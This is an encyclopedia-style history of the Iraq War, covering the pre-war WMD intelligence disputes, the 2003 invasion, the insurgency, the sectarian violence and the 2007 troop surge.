          Following the 1991 Gulf War, the United Nations Security Council Resolution 687 mandated that Iraqi chemical, biological, nuclear, and long range missile programs be halted and all such weapons destroyed under a United Nations Special Commission control. U.N. weapons inspectors inside Iraq were able to verify the destruction of a large amount of WMD-material, but substantial issues remained unresolved after they left Iraq in 1998 due to current UNSCOM head Richard Butler's belief that U.S. and U.K. military action was imminent. Shortly after the inspectors withdrew, the U.S. and U.K. launched a four-day bombing campaign .


          In addition to the inspection regimen, the United States and the United Kingdom (along with France until 1998) engaged in a low-level conflict with Iraq by enforcing northern and southern Iraqi no-fly zones. These zones were created following the Persian Gulf War to protect Iraqi Kurdistan in the north and the southern Shia areas, and were seen by the Iraqi government as an infringement of Iraq's sovereignty. Iraqi air-defense installations and American and British air patrols regularly exchanged fire during this period.


          In April 2001, Bush's Cabinet agreed to use military intervention in Iraq, because it was considered a destabilizing influence to the flow of oil to international markets from the Middle East. Neoconservatives in the U.S. called for the sell-off of all of Iraq's oil fields and planned for a coup d'etat in long before the September 11th attacks, hoping a new government would use, "Iraq's oil to destroy the OPEC cartel through massive increases in production above OPEC quotas." Those plans were abandoned shortly after the invasion because former Shell Oil Company CEO Philip Carroll, who had been charged with their implementation, refused to be involved with Iraqi oil industry privatization because it could have led to the exclusion of U.S. firms, unlike the state-run oil ministry. U.S. oil industry consultant Falah Aljibury alleges that soon after Bush took office in 2001, he took part in secret meetings in Washington, the Middle East, and California involving an overthrow of the Iraq regime. Aljibury told BBC's Newsnight that he, "interviewed potential successors to Saddam Hussein on behalf of the Bush administration."


          Approximately a year before Operation Iraqi Freedom, the United States initiated Operation Southern Focus as a change to its response strategy, by increasing the overall number of missions and selecting targets throughout the no-fly zones to disrupt the military command structure in Iraq. The weight of bombs dropped increased from none in March 2002 and 0.3 in April 2002 to between 8 and 14tons per month in May-August, reaching a pre-war peak of 54.6tons in September 2002.


          [bookmark: 2001.E2.80.932003:_Iraq_disarmament_crisis_and_pre-war_intelligence]


          20012003: Iraq disarmament crisis and pre-war intelligence


          


          U.N. weapons inspections resume


          The issue of Iraq's disarmament reached a crisis in 2002-2003, when President George W. Bush demanded a complete end to alleged Iraqi production of weapons of mass destruction and full compliance with UN Resolutions requiring UN weapons inspectors unfettered access to suspected weapons production facilities. Previously, the UN had prohibited Iraq from developing or possessing such weapons since the 1991 Gulf War and required Iraq to permit inspections confirming Iraqi compliance.


          During 2002, Bush repeatedly backed demands for unfettered inspection and disarmament with threats of military force. In accordance with UN Security Council Resolution 1441 Iraq reluctantly agreed to new inspections in late 2002. The results of these inspections were mixed with no discovery of WMDs and skepticism of Iraqi WMD program declarations.


          


          Alleged weapons of mass destruction


          In the initial stages of the war on terror, the Central Intelligence Agency, under George Tenet, was rising to prominence as the lead agency in the Afghanistan war. But when Tenet insisted in his personal meetings with President Bush that there was no connection between Al Qaeda and Iraq, V.P. Dick Cheney and Secretary of Defense Donald Rumsfeld initiated a secret program to re-examine the evidence and marginalize the CIA and Tenet. The questionable intelligence acquired by this secret program was " stovepiped" to the Vice President and presented to the public. In some cases, Cheneys office would leak the intelligence to reporters, where it would be reported by outlets such as The New York Times. Cheney would subsequently appear on the Sunday political television talk shows to discuss the intelligence, referencing The New York Times as the source to give it credence.
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          In late February 2002, the CIA sent former Ambassador Joseph Wilson to investigate dubious claims about Iraq's attempted purchase of yellowcake uranium from Niger. Wilson returned and informed the CIA that reports of yellowcake sales to Iraq were "unequivocally wrong." However, the Bush administration continued to allege attempts to obtain yellowcake as justification for military action - most prominently in the January, 2003, State of the Union when President Bush said that Iraq had sought uranium, citing British intelligence sources. In response, Wilson wrote a critical The New York Times op-ed in June 2003 saying that he had personally investigated claims of yellowcake purchases and believed them to be fraudulent. Wilson's report did not clarify the matter for analysts, but they found it interesting that the former Nigerien Prime Minister said an Iraqi delegation had visited Niger for what he believed was to discuss uranium sales. Shortly after Wilson's op-ed, the identity of Wilson's wife, undercover CIA analyst Valerie Plame, was revealed in a column by Robert Novak. Since it is a felony to reveal the identity of a CIA agent Novak's column launched an investigation by the Justice Department into the source of the leak. In March, 2007, Dick Cheneys Chief of Staff I. Lewis 'Scooter' Libby was convicted of perjury in the Plame leak investigation. The source of the leak was found to be Richard Armitage. He was never charged.


          A British government memo was published in The Sunday Times on May 1, 2005. Known as the " Downing Street memo," it contains an overview of a secret July 23, 2002 meeting among United Kingdom Labour government, defense and intelligence figures, discussing the build-up to the Iraq warincluding direct reference to classified U.S. policy of the time. The memo states, "Bush wanted to remove Saddam, through military action, justified by the conjunction of terrorism and WMD. But the intelligence and facts were being fixed around the policy."


          On September 18, 2002, George Tenet briefed Bush that Saddam Hussein did not have weapons of mass destruction. Bush dismissed this top-secret intelligence from Saddam's inner circle which was approved by two senior CIA officers, but it turned out to be completely accurate. The information was never shared with Congress or even CIA agents examining whether Saddam had such weapons. The CIA had contacted Saddam Hussein's foreign minister, Naji Sabri, who was being paid by France as a spy. He informed them that Saddam had ambitions for a nuclear program but that it was not active, and that no biological weapons were being produced or stockpiled, although research was underway. The U.S. obtained three subsequent human intelligence reports indicating that Saddam had authorized the use of chemical weapons in the event of war.


          In September 2002, the Bush administration said attempts by Iraq to acquire thousands of high-strength aluminium tubes pointed to a clandestine program to make enriched uranium for nuclear bombs. Iraq was not permitted to import such tubes under the U.N. monitoring plan. This view was supported by the CIA and DIA but opposed by the Department of Energy (DOE) and INR which was significant because the DOE was the only department in the United States government that had expertise in gas centrifuges and nuclear weapons programs. All agencies believed the tubes could be used in a centrifuge program but the latter two argued that they were poorly suited to do so. An effort by the DOE to change Powell's comments before his UN appearance was rebuffed by the administration. Indeed, Colin Powell, in his address to the U.N. Security Council just prior to the war, made reference to the aluminium tubes. But a report released by the Institute for Science and International Security in 2002 reported that it was highly unlikely that the tubes could be used to enrich uranium. Powell later admitted he had presented an inaccurate case to the United Nations on Iraqi weapons, and the intelligence he was relying on was, in some cases, "deliberately misleading."


          Between September, 2002 and June, 2003, Deputy Secretary of Defense Paul Wolfowitz created a Pentagon unit known as the Office of Special Plans (OSP), headed by Douglas Feith. It was created to supply senior Bush administration officials with raw intelligence pertaining to Iraq, unvetted by intelligence analysts, and circumventing traditional intelligence gathering operations by the CIA. One former CIA officer described the OSP as dangerous for U.S. national security and a threat to world peace, and that it lied and manipulated intelligence to further its agenda of removing Saddam Hussein. He described it as a group of ideologues with pre-determined notions of truth and reality, taking bits of intelligence to support their agenda and ignoring anything contrary. Subsequently, in 2008, the nonpartisan Centre for Public Integrity has enumerated a total of 935 false statements made by George Bush and six other top members of his administration in a carefully launched campaign of misinformation, during the two year period following 9-11, in order to rally support for the invasion of Iraq.


          


          Authorization for the use of force
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          In October, 2002, a few days before the U.S. Senate vote on the Joint Resolution to Authorize the Use of United States Armed Forces Against Iraq, about 75 senators were told in closed session that Saddam Hussein had the means of attacking the U.S. eastern seaboard with biological or chemical weapons delivered by unmanned aerial vehicles (UAVs). On February 5, 2003, Colin Powell presented further evidence in his Iraqi WMD program presentation to the Security Council that UAVs were ready to be launched against the U.S. At the time, there was a vigorous dispute within the intelligence community as to whether CIA conclusions about Iraqi UAVs were accurate. The U.S. Air Force agency most familiar with UAVs, the State Department's Bureau of Intelligence and Research, and the Defense Intelligence Agency denied that Iraq possessed any offensive UAV capability, saying the few they had were designed and intended for surveillance. A majority of the U.S. intelligence committee agreed that the Iraqi UAVs were used only for reconnaissance. In fact, Iraq's UAV fleet was never deployed and consisted of a handful of outdated 24.5-foot (7.5m) wingspan drones with no room for more than a camera and video recorder, and no offensive capability. Despite this controversy, the Senate voted to approve the Joint Resolution on 11 October 2002 providing the Bush Administration with the legal basis for the U.S. invasion.


          U.N. weapons inspector chief Hans Blix remarked in January 2003 that "Iraq appears not to have come to a genuine acceptance  not even today  of the disarmament, which was demanded of it and which it needs to carry out to win the confidence of the world and to live in peace." Among other things he noted that 1,000 tons of chemical agent were unaccounted for, information on Iraq's VX nerve agent program was missing, and that "no convincing evidence" was presented for the destruction of 8,500 liters of anthrax that had been declared. But in March, Blix said no evidence of WMDs had been found, and progress had been made in inspections.


          In early 2003, the United States, United Kingdom, and Spain proposed the so-called "eighteenth resolution" to give Iraq a deadline for compliance with previous resolutions enforced by the threat of military action. This proposed resolution was subsequently withdrawn for lack of support on the U.N. Security Council. In particular, NATO members France and Germany, together with Russia, were opposed to military intervention in Iraq due to the high level of risk to the international community's security and defended disarmament through diplomacy.


          


          Opposition to invasion


          On January 20, 2003, French Foreign Minister Dominique de Villepin declared. "we believe that military intervention would be the worst solution". Meanwhile anti-war groups across the world organised public protests. According to the French academic Dominique Reyni between the 3rd of January and 12th of April 2003, 36 million people across the globe took part in almost 3,000 protests against war in Iraq, the demonstrations on February 15 2003 being the largest and most prolific.


          In March 2003, UN weapons inspector Hans Blix reported that, "No evidence of proscribed activities have so far been found," in Iraq, saying that progress was made in inspections which would continue. But the U.S. government announced that "diplomacy has failed" and that it would proceed with a coalition of allied countries, named the "coalition of the willing", to rid Iraq of its alleged weapons of mass destruction. The U.S. government abruptly advised U.N. weapons inspectors to immediately pull out of Baghdad.


          There are also serious legal questions surrounding the conduct of the war in Iraq and the Bush Doctrine of preemptive war. On September 16, 2004 Kofi Annan, the Secretary General of the United Nations, said of the invasion, "I have indicated it was not in conformity with the UN charter. From our point of view, from the charter point of view, it was illegal."


          [bookmark: 2003:_Invasion]


          2003: Invasion


          The 2003 invasion of Iraq, led by General Tommy Franks, began on March 20, under the U.S. codename "Operation Iraqi Freedom", the UK codename Operation Telic, and the Australian codename Operation Catalyst. Coalition forces also cooperated with Kurdish peshmerga forces in the north. Approximately forty other nations, the " coalition of the willing," participated by providing equipment, services, security, and special forces. The initial coalition military forces were roughly 300,000, of which 98% were U.S. and UK troops.
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          The Iraqi Army was quickly overwhelmed with only the elite Fedayeen Saddam putting up strong resistance before melting away into the civilian population. On April 9 Baghdad fell, ending Saddam's 24-year rule. U.S. forces seized the deserted Baath Party ministries and helped tear down a huge iron statue of Saddam, photos and video of which became symbolic of the event. The abrupt fall of Baghdad was accompanied by massive civil disorder, including looting of government buildings and drastically increased crime. The invasion phase concluded when Tikrit, Saddam's home town, fell with little resistance to the Marines of Task Force Tripoli and on April 15 the coalition declared the invasion effectively over.


          In the invasion phase of the war (March 20-April 30), 9,200 Iraqi combatants were killed along with 7,299 civilians, primarily by US air and ground forces. Coalition forces reported the death in combat of 139 U.S. military personnel and 33 UK military personnel.


          


          Coalition Provisional Authority and Iraq Survey Group


          Shortly after the invasion, the multinational coalition created the Coalition Provisional Authority (CPA) سلطة الائتلاف الموحدة, based in the Green Zone, as a transitional government of Iraq until the establishment of a democratic government. Citing United Nations Security Council Resolution 1483 (22 May 2003) and the laws of war, the CPA vested itself with executive, legislative, and judicial authority over the Iraqi government from the period of the CPA's inception on April 21, 2003, until its dissolution on June 28, 2004.


          The CPA was originally headed by Jay Garner, a former U.S. military officer, but his appointment lasted only until May 11, 2003. After Garner resigned, President Bush appointed L. Paul Bremer as the head the CPA and he served until the CPA's dissolution in July 2004. Another group created in the spring of 2003 was the Iraq Survey Group (ISG; its final report is commonly called the Duelfer Report.). This was a fact-finding mission sent by the multinational force in Iraq after the 2003 Invasion of Iraq to find weapons of mass destruction (WMD) programmes developed by Iraq. It consisted of a 1,400-member international team organised by the Pentagon and CIA to hunt for suspected stockpiles of WMD, such as chemical and biological agents, and any supporting research programmes and infrastructure that could be used to develop WMD. In 2004 the ISG's Duelfer report stated that Iraq did not have a viable WMD program.


          


          Post-invasion phase
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          On May 1, 2003, President Bush staged a dramatic visit to the aircraft carrier USS Abraham Lincoln operating a few miles west of San Diego, California on its way home from a long deployment which had included service in the Persian Gulf. The visit climaxed at sunset with Bush's now well-known " Mission Accomplished" speech. In this nationally-televised speech, delivered before the sailors and airmen on the flight deck, Bush effectively declared victory due to the defeat of Iraq's conventional forces. However, Saddam Hussein remained at large and significant pockets of resistance remained.


          After President Bush's speech, coalition forces noticed a gradually increasing flurry of attacks on its troops in various regions, especially in the " Sunni Triangle". In the initial chaos after the fall of the Iraqi government, there was massive looting of infrastructure, including government buildings, official residences, museums, banks, and military depots. According to The Pentagon, 250,000tons (of 650,000tons total) of ordnance was looted, providing a significant source of ammunition for the Iraqi insurgency. The insurgents were further helped by hundreds of weapons caches created prior to the invasion by the conventional Iraqi army and Republican Guard.
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          Initially, Iraqi resistance (known to the coalition as "Anti-Iraqi Forces") largely stemmed from fedayeen and Saddam/ Baath Party loyalists, but soon religious radicals and Iraqis angered by the occupation contributed to the insurgency. The three provinces with the highest number of attacks were Baghdad, Al Anbar, and Salah Ad Din. Those three provinces account for 35% of the population, but are responsible for 73% of U.S. military deaths (as of December 5, 2006), and an even higher percentage of recent U.S. military deaths (about 80%). Insurgents use guerrilla tactics including; mortars, missiles, suicide attacks, snipers, improvised explosive devices (IEDs), car bombs, small arms fire (usually with assault rifles), and RPGs ( rocket propelled grenades), as well as sabotage against the oil, water, and electrical infrastructure.


          Post-invasion Iraq coalition efforts commenced after the fall of the Hussein regime. The coalition nations, together with the United Nations, began to work to establish a stable democratic state capable of defending itself, holding itself together as well as overcoming insurgent attacks and internal divisions.


          Meanwhile, coalition military forces launched several operations around the Tigris River peninsula and in the Sunni Triangle. A series of similar operations were launched throughout the summer in the Sunni Triangle. Toward the end of 2003, the intensity and pace of insurgent attacks began to increase. A sharp surge in guerrilla attacks ushered in an insurgent effort that was termed the " Ramadan Offensive", as it coincided with the beginning of the Muslim holy month of Ramadan. To counter this offensive, coalition forces begin to use air power and artillery again for the first time since the end of the invasion by striking suspected ambush sites and mortar launching positions. Surveillance of major routes, patrols, and raids on suspected insurgents were stepped up. In addition, two villages, including Saddams birthplace of al-Auja and the small town of Abu Hishma were wrapped in barbed wire and carefully monitored.


          However, the failure to restore basic services to pre-war levels, where over a decade of sanctions, bombing, corruption, and decaying infrastructure had left major cities barely functioning, contributed to local anger at the IPA government headed by an executive council. On July 2, 2003, President Bush declared that American troops would remain in Iraq in spite of the attacks, challenging the insurgents with "My answer is, bring 'em on," a widely criticized line which Bush later expressed misgivings about. In the summer of 2003, the multinational forces also focused on hunting down the remaining leaders of the former regime. On July 22, a raid by the U.S. 101st Airborne Division and soldiers from Task Force 20 killed Saddam Hussein's sons ( Uday and Qusay) along with one of his grandsons. In all, over 300 top leaders of the former regime were killed or captured, as well as numerous lesser functionaries and military personnel.


          


          Saddam Hussein captured


          In the wave of intelligence information fueling the raids on remaining Baath Party members connected to insurgency, Saddam Hussein himself was captured on December 13, 2003 on a farm near Tikrit in Operation Red Dawn. The operation was conducted by the United States Army's 4th Infantry Division and members of Task Force 121.
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          With the capture of Saddam and a drop in the number of insurgent attacks, some concluded the multinational forces were prevailing in the fight against the insurgency. The provisional government began training the New Iraqi Security forces intended to defend the country, and the United States promised over $20 billion in reconstruction money in the form of credit against Iraq's future oil revenues. Oil revenue was also used for rebuilding schools and for work on the electrical and refining infrastructure.


          Shortly after the capture of Saddam, elements left out of the Coalition Provisional Authority began to agitate for elections and the formation of an Iraqi Interim Government. Most prominent among these was the Shia cleric Grand Ayatollah Ali al-Sistani. The Coalition Provisional Authority opposed allowing democratic elections at this time, preferring instead to eventually hand-over power to the Interim Iraqi Government. Due to the internal fight for power in the new Iraqi government more insurgents stepped up their activities. The two most turbulent centers were the area around Fallujah and the poor Shia sections of cities from Baghdad ( Sadr City) to Basra in the south.
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          2004: The insurgency expands


          
            	See also: Military operations of the Iraq War for a list of all Coalition operations for this period, 2004 in Iraq, Iraqi coalition counter-insurgency operations, History of Iraqi insurgency, United States occupation of Fallujah, Iraq Spring Fighting of 2004

          


          The start of 2004 was marked by a relative lull in violence. Insurgent forces reorganised during this time, studying the multinational forces' tactics and planning a renewed offensive. However, violence did increase during the Iraq Spring Fighting of 2004 with foreign fighters from around the Middle East as well as al-Qaeda in Iraq (an affiliated al-Qaeda group), led by Abu Musab al-Zarqawi helping to drive the insurgency.


          As the insurgency grew there was a distinct change in targeting from the coalition forces towards the new Iraqi Security Forces, as hundreds of Iraqi civilians and police were killed over the next few months in a series of massive bombings. An organized Sunni insurgency, with deep roots and both nationalist and Islamist motivations, was becoming more powerful throughout Iraq. The Shia Mahdi Army also began launching attacks on coalition targets in an attempt to seize control from Iraqi security forces. The southern and central portions of Iraq were beginning to erupt in urban guerrilla combat as multinational forces attempted to keep control and prepared for a counteroffensive.
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          The most serious fighting of the war so far began on March 31, 2004, when Iraqi insurgents in Fallujah ambushed a Blackwater USA convoy led by four American private military contractors who were providing security for food caterers Eurest Support Services. The four armed contractors, Scott Helvenston, Jerko Zovko, Wesley Batalona, and Michael Teague, were killed with grenades and small arms fire. Subsequently, their bodies were dragged from their vehicles, beaten, set ablaze, and their burned corpses hung over a bridge crossing the Euphrates. Photos of the event were released to news agencies worldwide, causing a great deal of indignation and moral outrage in the United States, and prompting an unsuccessful "pacification" of the city: the First Battle of Fallujah in April 2004.


          The offensive was resumed in November, 2004 in the bloodiest battle of the war so far: the Second Battle of Fallujah, described by the U.S. military as "the heaviest urban combat (that they had been involved in) since the battle of Hue City in Vietnam." Intelligence briefings given prior to battle reported that Coalition forces would encounter Chechnyan, Filipino, Saudi, Iranian, Italian, and Syrian combatants, as well as native Iraqis. During the assault, U.S. forces used white phosphorus as an incendiary weapon against insurgent personnel, attracting controversy. The 10-day battle resulted in a victory for the coalition, with 54 Americans killed and approximately 1000 insurgents. Fallujah was totally devastated during the fighting, though civilian casualties were low, as they had mostly been evacuated before the fight.


          Another major event of this year was the revelation of prisoner abuse at Abu Ghraib which received international media attention in April 2004. First reports of the abuse, as well as graphic pictures showing American military personnel taunting and abusing Iraqi prisoners, came to public attention from a 60 Minutes II news report ( April 28) and a Seymour M. Hersh article in the The New Yorker (posted online on April 30). Thomas Ricks, an author who has studied the war, claimed that these revelations dealt a blow to the moral justifications for the occupation in the eyes of some Iraqis and was a turning point in the war.
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          2005: Elections and transitional government


          On January 31, Iraqis elected the Iraqi Transitional Government in order to draft a permanent constitution. Although some violence and widespread Sunni boycott marred the event, most of the eligible Kurd and Shia populace participated. On February 4, Paul Wolfowitz announced that 15,000 U.S. troops whose tours of duty had been extended in order to provide election security would be pulled out of Iraq by the next month. February to April proved to be relatively peaceful months compared to the carnage of November and January, with insurgent attacks averaging 30 a day from the prior average of 70.
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          Hopes for a quick end to an insurgency and a withdrawal of U.S. troops were dashed in May, Iraq's bloodiest month since the invasion. Suicide bombers, believed to be mainly disheartened Iraqi Sunni Arabs, Syrians and Saudis, tore through Iraq. Their targets were often Shia gatherings or civilian concentrations mainly of Shias. As a result, over 700 Iraqi civilians died in that month, as well as 79 U.S. soldiers.


          The summer of 2005 saw fighting around Baghdad and at Tall Afar in northwestern Iraq as US forces tried to seal off the Syrian border. This led to fighting in the autumn in the small towns of the Euphrates valley between the capital and the that border .


          A constitutional referendum was held in October and a national assembly was elected in December .


          Insurgent attacks increased in 2005 with 34,131 recorded incidents, compared to a total 26,496 for the previous year .
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          2006: Civil war and permanent Iraqi government


          The beginning of 2006 was marked by government creation talks, growing sectarian violence, and continuous anti-coalition attacks. Sectarian violence expanded to a new level of intensity following the al-Askari Mosque bombing in the Iraqi city of Samarra, on February 22, 2006. The explosion at the mosque, one of the holiest sites in Shi'a Islam, is believed to have been caused by a bomb planted by Al-Qaeda in Iraq. Although no injuries occurred in the blast, the mosque was severely damaged and the bombing resulted in violence over the following days. Over 100 dead bodies with bullet holes were found on February 23, and at least 165 people are thought to have been killed. In the aftermath of this attack the US military calculated that the average homicide rate in Baghdad tripled from 11 to 33 deaths per day. The United Nations has since described the environment in Iraq as a "civil war-like situation." A 2006 study by the Johns Hopkins Bloomberg School of Public Health has estimated that more than 601,000 Iraqis have died in violence since the U.S. invasion and that fewer than one third of these deaths came at the hands of Coalition forces. The Office of the United Nations High Commissioner for Refugees and the Iraqi government estimate that more than 365,000 Iraqis have been displaced since the bombing of the al-Askari Mosque, bringing the total number of Iraqi refugees to more than 1.6 million.


          The current government of Iraq took office on May 20, 2006 following approval by the members of the Iraqi National Assembly. This followed the general election in December 2005. The government succeeded the Iraqi Transitional Government which had continued in office in a caretaker capacity until the formation of the permanent government.


          


          Increased sectarian violence


          In September 2006, The Washington Post reported that the commander of the Marine forces in Iraq filed "an unusual secret report" concluding that the prospects for securing the Anbar province are dim, and that there is almost nothing the U.S. military can do to improve the political and social situation there.


          Iraq was listed fourth on the 2006 Failed States Index compiled by the American Foreign Policy magazine and the Fund for Peace think-tank. The list was topped by Sudan.


          As of October 20 the U.S military announced that Operation Together Forward had failed to stem the tide of violence in Baghdad, and Shiite militants under al-Sadr seized several southern Iraq cities.


          


          U.S. congressional elections and expanding violence


          On November 7, 2006, United States midterm elections removed the Republican Party from control of both chambers of the United States Congress. The failings in the Iraq War were cited as one of the main causes of the Republicans' defeat, even though the Bush administration had attempted to distance itself from its earlier "stay the course" rhetoric.


          


          On November 23, the deadliest attack since the beginning of the Iraq war occurred. Suspected Sunni-Arab militants used five suicide car bombs and two mortar rounds on the capital's Shiite Sadr City slum to kill at least 215 people and wound 257. Shiite mortar teams quickly retaliated, firing 10 shells at Sunni Islam's most important shrine in Baghdad, badly damaging the Abu Hanifa mosque and killing one person. Eight more rounds slammed down near the offices of the Association of Muslim Scholars, the top Sunni Muslim organisation in Iraq, setting nearby houses on fire. Two other mortar barrages on Sunni neighborhoods in west Baghdad killed nine and wounded 21, police said.


          On November 28, another Marine Corps intelligence report was released confirming the previous report on Anbar stating that, "U.S. and Iraqi troops 'are no longer capable of militarily defeating the insurgency in al-Anbar,' and 'nearly all government institutions from the village to provincial levels have disintegrated or have been thoroughly corrupted and infiltrated by Al Qaeda in Iraq.'"


          


          Iraq Study Group report and Saddams execution


          


          The Iraq Study Group Report was released on December 6, 2006. The bipartisan Iraq Study Group was led by former secretary of state James Baker and former Democratic congressman Lee Hamilton, and concludes that "the situation in Iraq is grave and deteriorating" and "U.S. forces seem to be caught in a mission that has no foreseeable end." The report's 79 recommendations include increasing diplomatic measures with Iran and Syria and intensifying efforts to train Iraqi troops. On December 18, a Pentagon report found that attacks on Americans and Iraqis were averaging about 960 a week, the highest since the reports had begun in 2005.


          Coalition forces formally transferred control of a province to the Iraqi government, the first since the war. Military prosecutors charged 8 Marines with the deaths of 24 Iraqi civilians in Haditha in November 2005, 10 of them women and children. Four officers were also charged with dereliction of duty in relation to the event.


          Saddam Hussein was hanged on December 30, 2006 after being found guilty of crimes against humanity by an Iraqi court, after a year-long trial.
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          2007: U.S. troop surge


          In a January 10, 2007 televised address to the American public, Bush proposed 21,500 more troops for Iraq, a job programme for Iraqis, more reconstruction proposals, and $1.2 billion for these programmes. Asked why he thought his plan would work this time, Bush said: "Because it has to." On January 23, 2007 in the 2007 State of the Union Address, Bush announced "deploying reinforcements of more than 20,000 additional soldiers and Marines to Iraq." On February 10, 2007 David Petraeus was made commander of Multi-National Force - Iraq (MNF-I), the four-star post that oversees all U.S. forces in the country, replacing General George Casey. In his new position, Petraeus has overseen all coalition forces in Iraq and employed them in the new "Surge" strategy outlined by the Bush administration. . 2007 also saw a sharp increase in insurgent chlorine bombings.
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          However, maintaining higher troop levels in the face of higher casualties required two changes in the army. Tours of duty were increased and the exclusions of volunteers with a history of criminal acts were relaxed. A defense department sponsored report described increased length of tours leading to higher stress which increase manifestations of anger and disrespect for civilians. Statistics released in April indicated that more and more soldiers have been deserting their duty, a sharp rise from the years before.
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          Pressures on U.S. troops were compounded by the continuing withdrawal of British forces from the Basra Governorate. In early 2007, British Prime Minister Tony Blair announced that following Operation Sinbad UK troops would begin to withdraw from Basra, handing security over to the Iraqis. This announcement was confirmed in the Autumn by Prime Minister Gordon Brown, Blair's successor, who again outlined a withdrawal plan for the remaining UK forces with a complete withdrawal date sometime in late 2008. In July Danish Prime Minister Anders Fogh Rasmussen also announced the withdrawal of 441 Danish troops from Iraq, leaving only a unit of nine soldiers manning four observational helicopters.


          


          Planned troop reduction


          In a speech made to Congress on September 10, 2007, General David Petraeus "envisioned the withdrawal of roughly 30,000 U.S. troops by next summer, beginning with a Marine contingent [in September]." On September 14, President Bush backed a limited withdrawal of troops from Iraq. Bush said 5,700 personnel would be home by Christmas 2007, and expected thousands more to return by July 2008. The plan would take troop numbers back to their level before the surge at the beginning of 2007. Some controversy has arisen due to the fact that former secretary of state Colin Powell announced before the surge took place that there would have to be a draw down of troops by mid-2007.


          


          Effects of the surge on security
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          By mid-March 2007, violence in Baghdad was reported by US sources close to the military as having been curtailed by 80%; however, independent reports have raised questions about such assessments. An Iraqi military spokesman claims that civilian deaths since the start of the troop surge plan were 265 in Baghdad, down from 1,440 in the four previous weeks. The New York Times has found more than 450 Iraqi civilians were killed during the same 28-day period, based on initial daily reports from Interior Ministry and hospital officials. Historically, the daily counts tallied by the NYT have underestimated the total death toll by 50% or more when compared to studies by the United Nations, which rely upon figures from the Iraqi Health Ministry and morgue figures.


          Also, the rate of American combat deaths in Baghdad over the first seven weeks of the "surge" security escalation has nearly doubled from the previous period to a rate of 3.14/day.
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          Despite a massive security crackdown in Baghdad associated with the surge in coalition troop strength, the monthly death toll in Iraq rose 15% in March. 1,869 Iraqi civilians were killed and 2,719 were wounded in March, compared to 1,646 killed and 2,701 wounded in February. In March, 165 Iraqi policemen were killed against 131 the previous month, while 44 Iraqi soldiers died compared to 29 in February. US military deaths in March were nearly double those of the Iraqi army, despite US claims that Iraqi forces led the security crackdown in Baghdad. The death toll among insurgent militants fell to 481 in March, compared to 586 killed in February; however, the number of arrests jumped to 5,664 in March against 1,921 in February.


          Three months after the start of the surge, troops controlled less than a third of the capital, far short of the initial goal, according to an internal military assessment completed in May 2007. Violence was especially chronic in mixed Shiite-Sunni neighborhoods in western Baghdad. Improvements had not yet been widespread or lasting across Baghdad.


          On August 14, 2007 the deadliest single attack of the whole war occurred. Over 500 civilians were killed by a series of co-ordinated suicide bomb attacks on the northern Iraqi settlement of Qahtaniya. More than 100 homes and shops were destroyed in the blasts. US officials blamed al-Qaeda in Iraq. The targeted villagers belong to the non-Muslim Yazidi ethnic minority. The attack may represent the latest spasm in a blood feud that erupted earlier this year when members of the Yazidi community stoned to death a teenage girl called Dua Khalil Aswad accused of dating a Sunni Arab man and converting to Islam. The killing of the girl was recorded on camera-mobiles and the video was downloaded onto the internet


          On September 13, Abdul Sattar Abu Risha was killed in a bomb attack in the city of Ramadi. He was an important US ally because he led the " Anbar Awakening", an alliance of Sunni Arab tribes that rose up against al-Qaeda in Iraq. The latter organisation claimed responsibility for the attack. A statement posted on the Internet by the shadowy Islamic State of Iraq called Abu Risha "one of the dogs of Bush" and described Thursday's killing as a "heroic operation that took over a month to prepare".


          
            [image: Graph of US Fatalities in Iraq by month. The reported decline in violence has been highlighted in red.]

            
              Graph of US Fatalities in Iraq by month. The reported decline in violence has been highlighted in red.
            

          


          There has been a reported trend of decreasing US troop deaths since May of 2007, and violence against coalition troops has fallen to the "lowest levels since the first year of the American invasion". These, and several other positive developments, have been attributed to the surge by many analysts. However, there is anecdotal evidence that a trend by troops to conduct "search and avoid" missions in place of " search and destroy" may also be playing a small part. Data from the Pentagon and other US agencies such as the Government Accountability Office (GAO) found that daily attacks against civilians in Iraq have remained about the same since February. The GAO also stated that there was no discernible trend in sectarian violence. However, this report runs counter to the most recent report to Congress, which shows a general downward trend in civilian deaths and ethno-sectarian violence since December 2006. In late 2007, as the U.S. troop surge began to wind down, violence in Iraq had begun to decrease from its 2006 highs. However, political progress remained slow as the Shia-Kurd coalition government continued to stall on any significant progress on the host of issues facing Iraq.


          In the Shia region near Basra, British forces turned over security for the region to Iraqi Security Forces as conditions there have stabilized over recent months. Basra is the ninth province of Iraq's 18 provinces to be returned to local security forces' control since the beginning of the war.


          


          Political developments
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          More than half of the members of Iraq's parliament rejected the continuing occupation of their country for the first time. 144 of the 275 lawmakers signed onto a legislative petition that would require the Iraqi government to seek approval from parliament before it requests an extension of the U.N. mandate for foreign forces to be in Iraq expiring at the end of 2007. It also calls for a timetable for the troop withdrawal and a freeze on the size of the foreign forces. The U.N. Security Council mandate for U.S.-led forces in Iraq will terminate "if requested by the government of Iraq." Under Iraqi law, the speaker must present a resolution called for by a majority of lawmakers. 59% of those polled in the U.S. support a timetable for withdrawal.


          In mid-2007, the Coalition began a controversial program to recruit Iraqi Sunnis for the formation of "Guardian" militias. These Guardian militias are intended to support and secure various Sunni neighborhoods unable to provide internal security themselves.


          


          Tensions with Iran


          During 2007, tensions increased greatly between Iran and Iraqi Kurdistan due to its sanctuary given to the militant anti-Iranian group Party for a Free Life in Kurdistan(PEJAK). According to reports, Iran has been shelling PEJAK positions in Iraqi Kurdistan since August 16th. These tensions further increased with an alleged border incursion on August 23rd by Iranian troops who attacked several Kurdish villages killing an unknown number of civilians and militants.


          Coalition forces also began to target alleged Iranian Quds force operatives in Iraq, either arresting or killing suspected members. The Bush administration and coalition leaders began to publicly state that Iran was supplying weapons, particularly EFP devices, to Iraqi insurgents and militias. Further sanctions on Iranian organizations were also announced by the Bush administration in the Autumn of 2007. On November 21 2007 Lieutenant General James Dubik, who is in charge of training Iraqi security forces, praised Iran for it's "contribution to the reduction of violence" in Iraq by upholding it's pledge to stop the flow of weapons, explosives and training of extremists in Iraq.


          


          Tensions with Turkey


          Border incursions by PKK militants based in Iraqi Kurdistan have continued to harass Turkish forces, with casualties on both sides increasing tensions between Turkey, a NATO ally, and Iraqi Kurdistan.


          
            [image: Turkish aircraft on an attack mission during the December 2007 bombing of northern Iraq]

            
              Turkish aircraft on an attack mission during the December 2007 bombing of northern Iraq
            

          


